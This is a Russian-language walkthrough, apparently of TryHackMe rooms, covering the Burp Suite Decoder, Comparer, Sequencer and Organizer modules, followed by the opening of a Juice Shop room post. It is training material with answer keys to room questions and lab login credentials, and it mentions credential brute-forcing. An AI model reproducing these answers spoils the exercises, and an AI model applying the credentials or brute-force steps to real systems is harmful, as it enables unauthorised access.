  &lt;p id=&quot;9fVW&quot;&gt;Результатом работы хеш-алгоритма является не чистый текст в формате ASCII/Unicode. Поэтому принято преобразовывать результат работы алгоритма в шестнадцатеричную строку; это и есть та самая форма «хеша», с которой вы, возможно, знакомы.&lt;/p&gt;
  &lt;p id=&quot;IvUf&quot;&gt;Завершим это, применив к хеш-сумме кодировку &amp;quot;ASCII Hex&amp;quot;, чтобы получить аккуратную шестнадцатеричную строку из нашего первоначального примера.&lt;/p&gt;
  &lt;p id=&quot;GRuj&quot;&gt;Вот полный процесс:&lt;/p&gt;
  &lt;figure id=&quot;iixY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/8bb114a4bce68b068f6dd0c0aaffe9e1.gif&quot; width=&quot;1034&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;tJBI&quot;&gt;Вопрос: Используя программу Decoder, определите хеш-сумму SHA-256 для фразы: &lt;code&gt;Let&amp;#x27;s get Hashing!&lt;/code&gt;?&lt;/p&gt;
    &lt;p id=&quot;Old6&quot;&gt;Для ответа на этот вопрос преобразуйте это в шестнадцатеричную ASCII-строку.&lt;br /&gt;&lt;strong&gt;Ответ:6b72350e719a8ef5af560830164b13596cb582757437e21d1879502072238abe&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;pFfh&quot;&gt;Вопрос: Сгенерируйте хеш-сумму MD4 для фразы: &lt;code&gt;Insecure Algorithms&lt;/code&gt;.&lt;/p&gt;
    &lt;p id=&quot;xEy3&quot;&gt;Перед отправкой закодируйте это в формате base64 (а не в ASCII Hex).&lt;br /&gt;&lt;strong&gt;Ответ:TcV4QGZZN7y7lwYFRMMoeA==&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;VVde&quot;&gt;Вопрос:&lt;/p&gt;
    &lt;p id=&quot;vP1I&quot;&gt;Рассмотрим пример в контексте:&lt;/p&gt;
    &lt;p id=&quot;7goU&quot;&gt;Сначала скачайте файл, прикрепленный к этому заданию.&lt;/p&gt;
    &lt;p id=&quot;j0sO&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Этот файл также можно загрузить с развернутой виртуальной машины &lt;code&gt;wget http://10.114.155.32:9999/AlteredKeys.zip&lt;/code&gt; —  это может быть полезно, если вы используете AttackBox.&lt;/p&gt;
    &lt;p id=&quot;AOAN&quot;&gt;Теперь ознакомьтесь с приведенным ниже описанием задачи:&lt;/p&gt;
    &lt;p id=&quot;cMtC&quot;&gt;«Какой-то шутник подделал мой SSH-ключ! В каталоге четыре ключа, и я понятия не имею, какой из них настоящий. MD5-хеш моего ключа &lt;code&gt;3166226048d6ad776370dc105d40d9f8&lt;/code&gt; —  не могли бы вы его найти?»&lt;/p&gt;
    &lt;p id=&quot;mW6v&quot;&gt;Какое правильное название ключа?&lt;/p&gt;
    &lt;p id=&quot;QZAs&quot;&gt;&lt;br /&gt;&lt;strong&gt;Ответ: key3&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;e78b&quot;&gt;&lt;strong&gt;Задание 5. Сравнительный анализ: Обзор &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;otVi&quot;&gt;Как следует из названия, Comparer позволяет сравнивать два фрагмента данных либо по ASCII-словам, либо по байтам.&lt;/p&gt;
  &lt;p id=&quot;Z2U9&quot;&gt;Давайте сначала рассмотрим интерфейс:&lt;/p&gt;
  &lt;figure id=&quot;OWZG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f05e8f491facd01264f53759714120db.png&quot; width=&quot;1100&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kC4W&quot;&gt;Интерфейс можно разделить на три основных раздела:&lt;/p&gt;
  &lt;ol id=&quot;6dlZ&quot;&gt;
    &lt;li id=&quot;VqOq&quot;&gt;Слева мы видим элементы, которые нужно сравнить. Когда мы загружаем данные в Comparer, они отображаются в виде строк в этих таблицах. Мы выбираем два набора данных для сравнения.&lt;/li&gt;
    &lt;li id=&quot;6H30&quot;&gt;В правом верхнем углу расположены параметры для вставки данных из буфера обмена (Вставить), загрузки данных из файла (Загрузить), удаления текущей строки (Удалить) и очистки всех наборов данных (Очистить).&lt;/li&gt;
    &lt;li id=&quot;cg9P&quot;&gt;Наконец, в правом нижнем углу мы можем выбрать сравнение наборов данных по словам или по байтам. Неважно, какой из этих вариантов вы выберете изначально, поскольку это можно изменить позже. Это кнопки, которые мы нажимаем, когда готовы сравнить выбранные данные.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;yypj&quot;&gt;Как и в большинстве модулей Burp Suite , мы также можем загружать данные в Comparer из других модулей, щелкнув правой кнопкой мыши и выбрав &lt;strong&gt;«Отправить в Comparer»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;cafb&quot;&gt;После того, как мы добавим как минимум два набора данных для сравнения и нажмем либо &lt;strong&gt;«Слова»&lt;/strong&gt; , либо &lt;strong&gt;«Байты»&lt;/strong&gt; , во всплывающем окне отобразится результат сравнения:&lt;/p&gt;
  &lt;figure id=&quot;AfoE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/221f10f4817c0ee660248edea10dd041.png&quot; width=&quot;914&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VjHL&quot;&gt;Это окно также состоит из трех отдельных разделов:&lt;/p&gt;
  &lt;ol id=&quot;KAzj&quot;&gt;
    &lt;li id=&quot;9hbs&quot;&gt;Сравниваемые данные занимают большую часть окна; их можно просмотреть как в текстовом, так и в шестнадцатеричном формате. Исходный формат зависит от того, выбрали ли мы сравнение по словам или по байтам в предыдущем окне, но это можно изменить с помощью кнопок над полями сравнения.&lt;/li&gt;
    &lt;li id=&quot;dRFT&quot;&gt;В левом нижнем углу находится ключ сравнения, показывающий, какие цвета обозначают измененные, удаленные и добавленные данные в двух наборах данных.&lt;/li&gt;
    &lt;li id=&quot;qznD&quot;&gt;Флажок &lt;strong&gt;«Синхронизировать представления»&lt;/strong&gt; находится в правом нижнем углу окна. При выборе этого флажка гарантируется синхронизация форматов обоих наборов данных. Другими словами, если вы измените один из них на шестнадцатеричный формат, другой автоматически синхронизируется.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;u4IH&quot;&gt;В заголовке окна отображается общее количество найденных различий.&lt;/p&gt;
  &lt;h2 id=&quot;wFqj&quot;&gt;&lt;strong&gt;Задание 6. Компаратор: Пример &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;1Oq7&quot;&gt;Теперь мы знаем, что делает Comparer, но в чём его польза?&lt;/p&gt;
  &lt;p id=&quot;hdkr&quot;&gt;Существует множество ситуаций, когда возможность быстро сравнить два (потенциально очень больших) массива данных может оказаться полезной.&lt;/p&gt;
  &lt;p id=&quot;sRve&quot;&gt;Например, при проведении атаки методом перебора паролей или подбора учетных данных с помощью Intruder, вы можете сравнить два ответа разной длины, чтобы определить, в чем заключаются различия и указывают ли эти различия на успешный вход в систему.&lt;/p&gt;
  &lt;h4 id=&quot;9hZF&quot;&gt;Практический пример&lt;/h4&gt;
  &lt;ol id=&quot;gky9&quot;&gt;
    &lt;li id=&quot;gx8Z&quot;&gt;Перейти к&lt;code&gt;http://10.114.155.32/support/login&lt;/code&gt;Попробуйте войти в систему с неверным именем пользователя и паролем — перехватите запрос в &lt;a href=&quot;https://tryhackme.com/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;Burp Proxy&lt;/a&gt; .&lt;/li&gt;
    &lt;li id=&quot;XHZ1&quot;&gt;Отправьте запрос в &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot; target=&quot;_blank&quot;&gt;Repeater&lt;/a&gt; с помощью &lt;code&gt;Ctrl + R&lt;/code&gt;(или аналогичного инструмента для Mac) или щелкнув правой кнопкой мыши по запросу в модуле Proxy и выбрав &lt;strong&gt;«Отправить в Repeater»&lt;/strong&gt; .&lt;/li&gt;
    &lt;li id=&quot;axKb&quot;&gt;Отправьте запрос, затем щелкните правой кнопкой мыши по ответу и выберите &lt;strong&gt;«Отправить в Comparer»&lt;/strong&gt; .&lt;/li&gt;
    &lt;li id=&quot;h6vJ&quot;&gt;На вкладке «Ретранслятор» измените учетные данные на следующие: Отправьте запрос еще раз, затем передайте новый ответ в Comparer.&lt;/li&gt;
    &lt;ul id=&quot;aUB2&quot;&gt;
      &lt;li id=&quot;hAfQ&quot;&gt;Имя пользователя:&lt;code&gt;support_admin&lt;/code&gt;&lt;/li&gt;
      &lt;li id=&quot;bUSE&quot;&gt;Пароль:&lt;code&gt;w58ySK4W&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;h2 id=&quot;qwmh&quot;&gt;&lt;strong&gt;Задание 7. Секвенсор: Обзор &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;F1bO&quot;&gt;Sequencer позволяет нам оценивать энтропию , или случайность, «токенов». Токены — это строки, используемые для идентификации чего-либо, и в идеале они должны генерироваться криптографически безопасным способом. Эти токены могут быть сессионными cookie-файлами или токенами защиты &lt;strong&gt;от&lt;/strong&gt; межсайтовой &lt;strong&gt;подделки запросов&lt;/strong&gt; ( CSRF ) &lt;strong&gt;,&lt;/strong&gt; используемыми для защиты при отправке форм. Если эти токены не генерируются безопасным способом, то теоретически мы можем предсказывать будущие значения токенов. Последствия могут быть существенными, например, если рассматриваемый токен используется для сброса пароля.&lt;/p&gt;
  &lt;p id=&quot;7sey&quot;&gt;Начнём с рассмотрения интерфейса секвенсора:&lt;/p&gt;
  &lt;figure id=&quot;BVAY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/dab1d10ba6ae4740453d593706cff315.png&quot; width=&quot;779&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oYsU&quot;&gt;В Sequencer есть два основных способа проведения анализа токенов:&lt;/p&gt;
  &lt;ul id=&quot;mAIr&quot;&gt;
    &lt;li id=&quot;DF2R&quot;&gt;&lt;strong&gt;Захват в реальном времени&lt;/strong&gt; : это более распространенный метод, и он является подвкладкой по умолчанию для Sequencer. Захват в реальном времени позволяет передать в Sequencer запрос на генерацию токена для анализа. Например, мы можем захотеть передать Sequencer POST-запрос к конечной точке авторизации, зная, что сервер ответит cookie-файлом. После передачи запроса мы можем дать указание Sequencer начать захват в реальном времени. Затем он автоматически выполнит тот же запрос тысячи раз, сохраняя сгенерированные образцы токенов для анализа. После сбора достаточного количества образцов мы останавливаем Sequencer и позволяем ему анализировать захваченные токены.&lt;/li&gt;
    &lt;li id=&quot;FXl9&quot;&gt;&lt;strong&gt;Ручная загрузка&lt;/strong&gt; : Это позволяет загрузить список предварительно сгенерированных образцов токенов непосредственно в Sequencer для анализа. Использование ручной загрузки избавляет от необходимости отправлять тысячи запросов к целевому объекту, что может быть избыточным и ресурсоемким процессом. Однако для этого требуется большой список предварительно сгенерированных токенов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;X1cU&quot;&gt;В этой комнате мы сосредоточимся на записи видео в режиме реального времени.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;XkG1&quot;&gt;Вопрос: Что позволяет нам оценивать Sequencer?&lt;br /&gt;&lt;strong&gt;Ответ: Entropy&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;RWrv&quot;&gt;&lt;strong&gt;Задание 8. Секвенсор: Захват в реальном времени &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;yq9b&quot;&gt;Отлично, давайте перейдем к процессу использования функции захвата данных в реальном времени Sequencer для анализа энтропии токена защиты от перебора паролей, используемого в форме входа в административную панель.&lt;/p&gt;
  &lt;p id=&quot;iCM2&quot;&gt;Сначала перехватите запрос &lt;code&gt;http://10.114.155.32/admin/login/&lt;/code&gt;в прокси-сервере . Щелкните правой кнопкой мыши по запросу и выберите &lt;strong&gt;«Отправить в секвенсор»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;ANvL&quot;&gt;В разделе «Расположение токена в ответе» можно выбрать между &lt;strong&gt;Cookie&lt;/strong&gt; , &lt;strong&gt;полем формы&lt;/strong&gt; и &lt;strong&gt;пользовательским расположением&lt;/strong&gt; . Поскольку в данном случае мы тестируем loginToken, выберите переключатель «Поле формы» и выберите loginToken из выпадающего меню:&lt;/p&gt;
  &lt;figure id=&quot;VM3e&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/9bb4ea43eb0acb59dee493699d336930.png&quot; width=&quot;599&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gbmq&quot;&gt;В данной ситуации мы можем смело оставить все остальные параметры по умолчанию. Поэтому нажмите кнопку « &lt;strong&gt;Начать захват в реальном времени»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;vexL&quot;&gt;Откроется новое окно, указывающее на то, что в данный момент идёт захват токенов, и отображающее количество захваченных токенов. Подождите, пока не будет захвачено достаточное количество токенов (примерно 10 000 должно быть достаточно); чем больше токенов мы получим, тем точнее будет наш анализ.&lt;/p&gt;
  &lt;p id=&quot;yQu9&quot;&gt;После того, как будет собрано около 10 000 токенов, нажмите &lt;strong&gt;«Пауза»&lt;/strong&gt; , а затем выберите кнопку &lt;strong&gt;«Анализировать сейчас»&lt;/strong&gt; :&lt;/p&gt;
  &lt;figure id=&quot;kyI5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/715caf9a950bdd3a3c9ec4a5360ae9ca.png&quot; width=&quot;830&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4jyg&quot;&gt;Важно отметить, что мы могли бы также остановить &lt;strong&gt;захват данных. Однако, выбрав паузу, мы сохраняем возможность возобновить захват данных позже, если в отчете окажется недостаточно выборок для точного расчета &lt;/strong&gt;энтропии токена .&lt;/p&gt;
  &lt;p id=&quot;QNsu&quot;&gt;Если бы нам требовались периодические обновления результатов анализа, мы могли бы также установить флажок «Автоматический анализ». Эта опция указывает Burp выполнять анализ энтропии после каждых 2000 запросов, обеспечивая частые обновления, точность которых будет возрастать по мере загрузки большего количества образцов в Sequencer.&lt;/p&gt;
  &lt;p id=&quot;nnca&quot;&gt;На данном этапе также стоит отметить, что мы можем скопировать или сохранить захваченные токены для дальнейшего анализа в будущем.&lt;/p&gt;
  &lt;p id=&quot;fZ81&quot;&gt;После нажатия кнопки &lt;strong&gt;«Анализировать сейчас » Burp проанализирует &lt;/strong&gt;энтропию  токена и сгенерирует отчет.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;67S3&quot;&gt;Вопрос: Каково общее качество случайности, по оценке?&lt;br /&gt;Ответ: excellent&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;GKZ2&quot;&gt;&lt;strong&gt;Задание 9. Секвенатор: Анализ &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;sa35&quot;&gt;Теперь, когда у нас есть отчет по анализу энтропии нашего токена, пришло время его проанализировать!&lt;/p&gt;
  &lt;p id=&quot;csKE&quot;&gt;Сгенерированный отчет об анализе энтропии разделен на четыре основных раздела. Первый из них — это &lt;strong&gt;сводка&lt;/strong&gt; результатов. В сводке содержится следующая информация:&lt;/p&gt;
  &lt;figure id=&quot;pIKn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/ff780f0e74d75191ea4945dbe7794a29.png&quot; width=&quot;949&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;ie5o&quot;&gt;
    &lt;li id=&quot;di7W&quot;&gt;&lt;strong&gt;Общий результат&lt;/strong&gt; : Это дает общую оценку безопасности механизма генерации токенов. В данном случае уровень энтропии указывает на то, что токены, вероятно, генерируются безопасно.&lt;/li&gt;
    &lt;li id=&quot;JYuF&quot;&gt;&lt;strong&gt;Эффективная энтропия&lt;/strong&gt; : Этот показатель измеряет степень случайности токенов. Эффективная энтропия в 117 бит является относительно высокой, что указывает на достаточную случайность токенов и, следовательно, на их защиту от атак методом предсказания или перебора.&lt;/li&gt;
    &lt;li id=&quot;0byy&quot;&gt;&lt;strong&gt;Надежность&lt;/strong&gt; : Уровень значимости 1% означает, что существует 99% уверенности в точности результатов. Этот уровень уверенности достаточно высок, что гарантирует точность оценки эффективной энтропии .&lt;/li&gt;
    &lt;li id=&quot;BfhN&quot;&gt;&lt;strong&gt;Образец&lt;/strong&gt; : Здесь представлена ​​подробная информация об образцах токенов, проанализированных в процессе тестирования энтропии , включая количество токенов и их характеристики.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Zpcm&quot;&gt;Хотя сводный отчет часто содержит достаточно информации для оценки безопасности процесса генерации токенов, важно помнить, что в некоторых случаях может потребоваться дополнительное расследование. Анализ на уровне символов и битов может дать более детальное представление о случайности токенов, особенно когда сводные результаты вызывают потенциальные опасения.&lt;/p&gt;
  &lt;p id=&quot;EYSj&quot;&gt;Хотя отчет об энтропии может служить надежным индикатором безопасности механизма генерации токенов, необходимы более убедительные доказательства. На безопасность токенов могут влиять и другие факторы, а природа теории вероятности и статистики подразумевает наличие определенной степени неопределенности. Тем не менее, эффективная энтропия в 117 бит с уровнем значимости 1% свидетельствует о надежном и безопасном процессе генерации токенов.&lt;/p&gt;
  &lt;h2 id=&quot;yQxM&quot;&gt;&lt;strong&gt;Задание 10. Организатор: Обзор &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;035n&quot;&gt;Модуль «Организатор» в Burp Suite предназначен для хранения и аннотирования копий HTTP- запросов, к которым вы, возможно, захотите вернуться позже. Этот инструмент может быть особенно полезен для организации рабочего процесса тестирования на проникновение. Вот некоторые из его ключевых функций:&lt;/p&gt;
  &lt;ul id=&quot;cizc&quot;&gt;
    &lt;li id=&quot;kv89&quot;&gt;Вы можете сохранять запросы, которые хотите изучить позже, сохранять запросы, которые вы уже определили как интересные, или сохранять запросы, которые хотите добавить в отчет позже.&lt;/li&gt;
    &lt;li id=&quot;17Y4&quot;&gt;Вы можете отправлять HTTP- запросы в Burp Organizer из других модулей Burp, таких как &lt;strong&gt;Proxy&lt;/strong&gt; или &lt;strong&gt;Repeater&lt;/strong&gt; . Для этого щелкните правой кнопкой мыши по запросу и выберите &lt;strong&gt;«Отправить в Organizer»&lt;/strong&gt;  или используйте стандартную горячую клавишу &lt;code&gt;Ctrl + O&lt;/code&gt;. Каждый HTTP- запрос, отправленный в Organizer, представляет собой копию исходного запроса, сохраненную в момент отправки запроса в Organizer, доступную только для чтения.&lt;/li&gt;
    &lt;li id=&quot;mzxj&quot;&gt;Запросы хранятся в таблице, которая содержит такие столбцы, как порядковый номер запроса, время отправки запроса, статус рабочего процесса, инструмент Burp, с которого был отправлен запрос, метод HTTP , имя хоста сервера, путь к файлу в URL, строка запроса в URL, количество параметров в запросе, код состояния HTTP ответа, длина ответа в байтах и ​​любые сделанные вами заметки.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;WoQw&quot;&gt;Чтобы просмотреть запрос и ответ:&lt;/p&gt;
  &lt;ol id=&quot;H7ES&quot;&gt;
    &lt;li id=&quot;DnuA&quot;&gt;Щелкните по любому элементу Органайзера.&lt;/li&gt;
    &lt;li id=&quot;ajI7&quot;&gt;И запрос, и ответ доступны только для чтения. Вы можете выполнить поиск внутри запроса или ответа, выделить запрос, а затем воспользоваться строкой поиска под запросом.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ZkcO&quot;&gt;Вопрос: Сохраненные запросы доступны только для чтения? (да/нет)&lt;br /&gt;&lt;strong&gt;Ответ: yea&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;CCF0&quot;&gt;&lt;strong&gt;Задание 11. Заключение&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;OU39&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;vKWb&quot;&gt;Поздравляем с завершением работы над модулем &amp;quot;Другие модули Burp Suite&amp;quot; !&lt;/p&gt;
  &lt;p id=&quot;LQcF&quot;&gt;Вкратце, Decoder позволяет кодировать и декодировать данные, упрощая чтение и понимание передаваемой информации. Comparer позволяет выявлять различия между двумя наборами данных, что может иметь решающее значение для обнаружения уязвимостей или аномалий. Sequencer помогает проводить анализ энтропии токенов, предоставляя информацию о случайности их генерации и, следовательно, об уровне их безопасности. Organizer позволяет хранить и аннотировать копии HTTP- запросов, к которым вы, возможно, захотите вернуться позже.&lt;/p&gt;
  &lt;p id=&quot;xZjK&quot;&gt;Базовое понимание этих инструментов расширяет ваши навыки в области тестирования веб-приложений на проникновение.&lt;/p&gt;
  &lt;p id=&quot;dKUJ&quot;&gt;В следующем и заключительном зале этого модуля вы познакомитесь с инструментом &lt;a href=&quot;https://tryhackme.com/room/burpsuiteextensions&quot; target=&quot;_blank&quot;&gt;Burp Suite Extensions&lt;/a&gt; .&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;QuxH&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_43</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_43?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 39. OWASP Juice Shop</title><published>2026-03-01T11:10:58.040Z</published><updated>2026-03-01T11:10:58.040Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/54/e6/54e6ae54-b6c4-4097-a45a-ea5a652ad639.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/3d/3c/3d3c3957-c958-4513-bca8-143500490745.jpeg&quot;&gt;В этой комнате используется уязвимое веб-приложение Juice Shop, чтобы научиться выявлять и использовать распространенные уязвимости веб-приложений.</summary><content type="html">
  &lt;figure id=&quot;j70A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3d/3c/3d3c3957-c958-4513-bca8-143500490745.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KIe5&quot;&gt;В этой комнате используется уязвимое веб-приложение Juice Shop, чтобы научиться выявлять и использовать распространенные уязвимости веб-приложений.&lt;/p&gt;
  &lt;figure id=&quot;VkHa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;rhQp&quot;&gt;1. Открыто для бизнеса!&lt;/h2&gt;
  &lt;p id=&quot;hZfw&quot;&gt;В этой комнате мы рассмотрим  &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot; target=&quot;_blank&quot;&gt;10 самых распространенных уязвимостей в веб-приложениях по версии OWASP&lt;/a&gt;  . Они встречаются во всех типах веб-приложений. Но сегодня мы поговорим о собственном изобретении OWASP — Juice Shop!&lt;/p&gt;
  &lt;figure id=&quot;q8Dn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/vjfcwid.png&quot; width=&quot;100&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Liuv&quot;&gt;&lt;em&gt;Перед прохождением этой комнаты рекомендуется пройти &lt;strong&gt;бесплатные&lt;/strong&gt; комнаты Burpsuite « &lt;a href=&quot;https://tryhackme.com/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;Burpsuite Basics&lt;/a&gt; » и « &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot; target=&quot;_blank&quot;&gt;Burpsuite Repeater&lt;/a&gt;» !&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;yK81&quot;&gt;Juice Shop — это большое приложение, поэтому мы не будем рассматривать все темы из топ-10.&lt;/p&gt;
  &lt;p id=&quot;QdaC&quot;&gt;Однако мы рассмотрим следующие темы, с которыми рекомендуем вам ознакомиться по мере прохождения этого раздела.&lt;/p&gt;
  &lt;figure id=&quot;grkB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;L8NE&quot;&gt;&amp;lt;-------------------------------------------------&amp;gt;&lt;/p&gt;
  &lt;p id=&quot;Dz2n&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection&quot; target=&quot;_blank&quot;&gt;Инъекция&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;wUeu&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A2-Broken_Authentication&quot; target=&quot;_blank&quot;&gt;Неработающая аутентификация&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;1Sv3&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure&quot; target=&quot;_blank&quot;&gt;Раскрытие конфиденциальных данных&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;PxMi&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control&quot; target=&quot;_blank&quot;&gt;Неработающий контроль доступа&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;XQf3&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)&quot; target=&quot;_blank&quot;&gt;Межсайтовая скриптовая атака (XSS)&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;yVP1&quot;&gt;&amp;lt;-------------------------------------------------&amp;gt;&lt;/p&gt;
  &lt;p id=&quot;TfWC&quot;&gt;&lt;strong&gt;ПОЖАЛУЙСТА, ОБРАТИ ВНИМАНИЕ!&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;LX1o&quot;&gt;&lt;u&gt;&lt;strong&gt;Для выполнения [Задания 3] и последующих заданий потребуется флажок, который отобразится по завершении задания.&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
  &lt;figure id=&quot;5vJO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/t4KAlh2.png&quot; width=&quot;1157&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vPuM&quot;&gt;&lt;strong&gt;&lt;u&gt;Поиск неисправностей&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;dopD&quot;&gt;Загрузка веб-приложения занимает от &lt;u&gt;2 до 5 минут , поэтому, пожалуйста, наберитесь терпения!&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;f332&quot;&gt;Временно отключите Burp в настройках прокси для текущего браузера. Обновите страницу, и флажок отобразится.&lt;/p&gt;
  &lt;p id=&quot;ZTts&quot;&gt;&lt;em&gt;(Это не проблема самого приложения, а проблема Burp, из-за которой флаг не отображается.&lt;/em&gt; )&lt;/p&gt;
  &lt;p id=&quot;r04A&quot;&gt;Если при выполнении XSS- атак проблема не решается, очистите файлы cookie и данные сайтов, так как это иногда может быть причиной.&lt;/p&gt;
  &lt;p id=&quot;fb5P&quot;&gt;Если вы уверены, что выполнили задание, но оно всё ещё не работает, перейдите к  &lt;strong&gt;[Заданию 8]&lt;/strong&gt; , это позволит вам проверить его выполнение.&lt;/p&gt;
